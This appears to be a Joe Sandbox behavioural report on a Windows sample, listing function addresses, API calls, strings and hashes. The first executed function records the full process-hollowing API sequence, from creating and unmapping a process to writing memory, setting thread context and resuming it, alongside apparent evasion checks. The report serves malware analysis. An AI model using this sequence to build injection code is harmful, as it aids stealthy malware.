Analysis Process: Z4CYGTBlj7.exePID: 7136, Parent PID: 6392COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05DF0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05DF0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05DF016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05DF0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05DF0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05DF0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05DF029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DF02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05DF02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05DF0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05DF032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05DF0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DF03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05DF03E1
ResumeThread.KERNELBASE(00000000), ref: 05DF03ED
ExitProcess.KERNEL32(00000000), ref: 05DF0412

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: a76d7ab5f0a6353ba8abd03053f44f3d8a39e74a73c931a46423850bf85c5a4b
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: F9B1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E649AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05DF0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05DF0533

Strings

mfoaskdfnoa, xrefs: 05DF0520, 05DF0523
saodkfnosa9uin, xrefs: 05DF04DA
0, xrefs: 05DF0492
d, xrefs: 05DF0584

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 098ffe37f7a4a46e72beff2df33836a7836c9e7ed65c9ff84583b309728423a0
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 0A512870D08388DAEB11CBE8C849BEDBFB2AF11708F144059D5456F2C6C3FA5659CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DF05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05DF05EC

Strings

apfHQ, xrefs: 05DF05E2, 05DF05E5
o, xrefs: 05DF0600

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 9aa81f7e89b074425c5a1995ec0957ab315bcd3b236ec43c7ec2f26129510d72
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 00012170C0824CEFDF10DB98C5183AEBFB5AF41308F1480D9C54A2B242D7B69B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 044587C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044587EE
Module32First.KERNEL32(00000000,00000224), ref: 0445880E

Memory Dump Source

Source File: 00000004.00000002.2026921389.0000000004458000.00000040.00000020.00020000.00000000.sdmp, Offset: 04458000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4458000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d6702302919bd702df95c6beedde64028a7ffb484c9a3cc6af868823087950d2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 2EF06231200714ABDF203BB6AC8DB6BB6E8EF49765F10052AEA42911D1DE70F8554A61

Uniqueness

Uniqueness Score: -1.00%

Function 04458485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044584D6

Memory Dump Source

Source File: 00000004.00000002.2026921389.0000000004458000.00000040.00000020.00020000.00000000.sdmp, Offset: 04458000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4458000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 27b4b68df4d455e11049550e7dfbccf26b94576eabdb14c76a447e6ffbaf0172
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 41113C79A00208EFDF01DF99C985E99BBF5AF08350F058095F9489B362D771EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E16437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E1644E

Part of subcall function 05E19636: __calloc_impl.LIBCMT ref: 05E19645

__calloc_crt.LIBCMT ref: 05E16472
_free.LIBCMT ref: 05E16480
__calloc_crt.LIBCMT ref: 05E1648E
_free.LIBCMT ref: 05E1649E
_free.LIBCMT ref: 05E164A4
__copytlocinfo_nolock.LIBCMT ref: 05E164B3
__setmbcp_nolock.LIBCMT ref: 05E164D4
_free.LIBCMT ref: 05E164E2
___removelocaleref.LIBCMT ref: 05E164E9
___freetlocinfo.LIBCMT ref: 05E164F0
_free.LIBCMT ref: 05E164F6

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 7edc7f4cf7bb3e96668dcde4afa686e518a64c504f04d751a66554637f3f03be
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 00210531304200AEFB357F65DC09E5F7BE5FF81764B50A429ECC6558A0EB228990CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 05E13F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E13F51

Part of subcall function 05E15BA8: __getptd_noexit.LIBCMT ref: 05E15BA8

__gmtime64_s.LIBCMT ref: 05E13FEA
__gmtime64_s.LIBCMT ref: 05E14020
__gmtime64_s.LIBCMT ref: 05E1403D
__allrem.LIBCMT ref: 05E14093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E140AF
__allrem.LIBCMT ref: 05E140C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E140E4
__allrem.LIBCMT ref: 05E140FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E14119
__invoke_watson.LIBCMT ref: 05E1418A

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7c3b00fd98594e5ab8279c41e9e5fe286aa14a86a859862c78a1dd82d8bd669d
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6C71E671B00726ABEB249F79CC44BAAB3B9BF04364F14562AED94D77C0E770D9408B94

Uniqueness

Uniqueness Score: -1.00%

Function 05E1650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E16547
__calloc_crt.LIBCMT ref: 05E16598
__lock.LIBCMT ref: 05E165AE
__copytlocinfo_nolock.LIBCMT ref: 05E165BF
_wcscmp.LIBCMT ref: 05E165F9
__lock.LIBCMT ref: 05E16610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E16622
___removelocaleref.LIBCMT ref: 05E16628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E16647

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 3071ae91b6e9dfbae95244e08cf0388b7424477a43e878289dbb03eb8019a4ba
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 59416632A04304AFEF00AFA4DC88B9E3BE5FF48314F10A42EED9596690DB718644DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 05E184AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E184B1
_free.LIBCMT ref: 05E184E2
_free.LIBCMT ref: 05E184F5
_free.LIBCMT ref: 05E18513
_free.LIBCMT ref: 05E18525
_free.LIBCMT ref: 05E18536
_free.LIBCMT ref: 05E18541
_free.LIBCMT ref: 05E18565
_free.LIBCMT ref: 05E18581
_free.LIBCMT ref: 05E18597
_free.LIBCMT ref: 05E185BF

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: a520d24bce633285a73237227858c6428563a87dae980864e81a40fc39214d1d
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5B31E331A08250DFDB25AF15FC88C8D77A4FB14324304A62AEEC5572B0CBB459C8EF98

Uniqueness

Uniqueness Score: -1.00%

Function 05E3FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E3FC1F

Part of subcall function 05E2169C: std::exception::_Copy_str.LIBCMT ref: 05E216B5

__CxxThrowException@8.LIBCMT ref: 05E3FC34
std::exception::exception.LIBCMT ref: 05E3FC4D
__CxxThrowException@8.LIBCMT ref: 05E3FC62
std::regex_error::regex_error.LIBCPMT ref: 05E3FC74

Part of subcall function 05E3F914: std::exception::exception.LIBCMT ref: 05E3F92E

__CxxThrowException@8.LIBCMT ref: 05E3FC82
std::exception::exception.LIBCMT ref: 05E3FC9B
__CxxThrowException@8.LIBCMT ref: 05E3FCB0

Strings

leM, xrefs: 05E3FCA8

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 5d68c2d2151e120d56a8436f31a79877d717b026cc0d023227c234fa7af726e3
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 0811FE79D0020DBBCF04FFA5D499CDDBB7CAA04344F408566AD5497644EB74A348CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05DFF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05DFF01F

Part of subcall function 05E11602: __FF_MSGBANNER.LIBCMT ref: 05E11619
Part of subcall function 05E11602: __NMSG_WRITE.LIBCMT ref: 05E11620

_malloc.LIBCMT ref: 05DFF02B
_wprintf.LIBCMT ref: 05DFF03E
_free.LIBCMT ref: 05DFF044
_free.LIBCMT ref: 05DFF065
_malloc.LIBCMT ref: 05DFF06D
_sprintf.LIBCMT ref: 05DFF0C0
_wprintf.LIBCMT ref: 05DFF0D2
_wprintf.LIBCMT ref: 05DFF0DC
_free.LIBCMT ref: 05DFF0E5

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 15e77dc189833d0dcb7dcc88c3fd2227d1b3bfd653ec512893d7911f6b187b44
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 931136B6A005507AC261A7B65C19FFF3BDC9F45302F0800AAFFCCD1180DA185A04D3B5

Uniqueness

Uniqueness Score: -1.00%

Function 05E01960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E019C6
__CxxThrowException@8.LIBCMT ref: 05E019F1
__CxxThrowException@8.LIBCMT ref: 05E01A1A
__CxxThrowException@8.LIBCMT ref: 05E01A4B
_memset.LIBCMT ref: 05E01A6A
__CxxThrowException@8.LIBCMT ref: 05E01A90
_malloc.LIBCMT ref: 05E01AA0
_memset.LIBCMT ref: 05E01AAB
_sprintf.LIBCMT ref: 05E01ACE

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 3c3898f143bc5d49a8c7c35f84e8f66619b8dd260668f19373bd0f9dda153af3
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 08516C71E40219ABEB10DBA1DC8AFEFBBB8FB04744F101025F945B6180E7745A01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DFF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DFF284
__CxxThrowException@8.LIBCMT ref: 05DFF2AF
__CxxThrowException@8.LIBCMT ref: 05DFF2DE
__CxxThrowException@8.LIBCMT ref: 05DFF30F
_memset.LIBCMT ref: 05DFF32E
__CxxThrowException@8.LIBCMT ref: 05DFF354
_sprintf.LIBCMT ref: 05DFF373

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 05c92000293e058a82e5debfd957b5466733a3b42ee68cee374f308b5e73d9e3
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 5A516271E40209ABDF15DFA1DC46FEEBBB9FB04704F101026FA45B6180D775AA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05DFF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DFF4B7
__CxxThrowException@8.LIBCMT ref: 05DFF4E2
__CxxThrowException@8.LIBCMT ref: 05DFF504
__CxxThrowException@8.LIBCMT ref: 05DFF535
_memset.LIBCMT ref: 05DFF554
__CxxThrowException@8.LIBCMT ref: 05DFF57A
_sprintf.LIBCMT ref: 05DFF594

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 72dcf7866af3878bed5d4173773071078772ade2633d90743d426a092ee16b83
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 7C517271E40209ABDF15DFA1DC85FFEBBB8FB04744F10112AFA45B6280D774AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E3208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E320C6
__invoke_watson.LIBCMT ref: 05E32120
_strlen.LIBCMT ref: 05E320D4

Part of subcall function 05E15BA8: __getptd_noexit.LIBCMT ref: 05E15BA8

_strnlen.LIBCMT ref: 05E3215F
__lock.LIBCMT ref: 05E32170
__getenv_helper_nolock.LIBCMT ref: 05E3217B

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 7308dfd54c828859a06c1c60174b2922ec3841dbde67a527fe473c8ec50b3df5
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 38312936B043256BEB216F64DC0EBAE3755AF45B24F106055EFC6EF280DB748900CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05EB66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 05EB66DD

Part of subcall function 05E159BF: __calloc_crt.LIBCMT ref: 05E159E2
Part of subcall function 05E159BF: __initptd.LIBCMT ref: 05E15A04

__calloc_crt.LIBCMT ref: 05EB6700
__get_sys_err_msg.LIBCMT ref: 05EB671E
__invoke_watson.LIBCMT ref: 05EB673B
__get_sys_err_msg.LIBCMT ref: 05EB676D
__invoke_watson.LIBCMT ref: 05EB678B

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 1634cdf6690faee587de7702a34fef0b84bbf4a0c1b7d1d32252d770c89c01ec
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: DE11B2327002246BFB216725DC09EFB739DEF00666F001466FD8996240E6A1DD0146E9

Uniqueness

Uniqueness Score: -1.00%

Function 05E02670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E026DB
_memset.LIBCMT ref: 05E02A30
_memset.LIBCMT ref: 05E02AC0

Strings

D, xrefs: 05E02AC8

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: a95d3177356bf9ba33c30c9deecd21dbe4dc6b451ba1852dd6468b0abcb12318
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 49E18E75D00219ABDF24DBA0CC89FEEB7B9BF04304F0450A9E649E6190EB74AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05DFD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DFD8EA

Strings

, xrefs: 05DFDADB
$, xrefs: 05DFDAE2
(, xrefs: 05DFDAE9

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: d88e29909f6e7af39ac093e09a0bb64290532e852bb98b8717e2390bef929c12
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: B491BD71D00218EBEF20DFA0CC49BEEBBB5AF05304F24516AD655772C0DBB65A88CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05E15CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 05E15CF4

Strings

U, xrefs: 05E15CFD

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: efd703cf93b0c7714473ce7c77ec3c76e3e1964a35e228ca6d867c2e9a799d7f
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: F4210872308218AAEB00DBA4DC49FBF339DEB84250F501166ED89C6190FB70ED404FA8

Uniqueness

Uniqueness Score: -1.00%

Function 05E0A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E0A858
_memset.LIBCMT ref: 05E0A869
_memset.LIBCMT ref: 05E0A87A

Strings

p2Q, xrefs: 05E0A882

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 106b6167ccdbcda3e55fc29eced3fd9b99c86d6b3209ebaeee66eebcfb4c8aa6
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: A4F06D78688750A5F7217750BC2AB853E807B36B48F404088E1582E2E0D3FD238CA39E

Uniqueness

Uniqueness Score: -1.00%

Function 05E3FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E3FBF1

Part of subcall function 05E2169C: std::exception::_Copy_str.LIBCMT ref: 05E216B5

__CxxThrowException@8.LIBCMT ref: 05E3FC06

Strings

TeM, xrefs: 05E3FBFB, 05E3FBE7
TeM, xrefs: 05E3FBFE

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: b4abb7c130e23d7db20d2faa6ab576e88e57c50a0556510dcd3551fb8db3d093
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: EBD06775D0025CBBCB04EFA5D499CDDBBB8AA04344B00C466A95497245EA74A349CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05DFD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E1197D: __wfsopen.LIBCMT ref: 05E11988

_fgetws.LIBCMT ref: 05DFD15C

Memory Dump Source

Source File: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5df0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
